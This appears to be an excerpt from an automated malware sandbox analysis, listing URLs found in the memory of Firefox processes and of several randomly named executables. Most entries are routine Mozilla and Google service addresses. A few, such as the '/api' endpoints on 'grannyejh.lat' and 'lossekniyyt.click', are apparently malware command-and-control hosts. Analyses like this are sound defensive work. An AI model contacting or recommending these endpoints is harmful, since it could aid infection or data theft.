Source: firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/pictureInPicture.jsonshims/google-ana
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3376855261.000001C138EBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.3322743316.000001C135936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164130592.000001C1331F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/9dd83e3d-3898-4595-81e2-fe302
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.3356200604.000001C137A8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2886642120.000001C138C72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C138880000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: 6f93831ea2.exe, 00000008.00000002.2505740733.0000000001729000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505740733.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: 6f93831ea2.exe, 00000008.00000002.2505740733.0000000001729000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505740733.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505673719.00000000016C7000.00000004.00000020.00020000.00000000.sdmp, 6f93831ea2.exe, 00000008.00000002.2505740733.000000000170C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: 6f93831ea2.exe, 00000008.00000002.2505740733.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api(
Source: 6f93831ea2.exe, 00000008.00000002.2505673719.00000000016C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/apiPQ
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000002.3050373606.000001C1279D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.0000023194672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C0286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.3322743316.000001C13594D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sbrowser.download.viewableInternally.enabledTy
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001C.00000002.3339647822.000001C13728F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C13728F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.3322743316.000001C13594D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C1359CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3380558908.000001C1390D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiment-apis/matchPatterns.js/shims/google-publisher-tags.js
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiment-apis/matchPatterns.js/shims/google-publisher-tags.js--arr
Source: firefox.exe, 0000001C.00000002.3372926017.000001C138B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
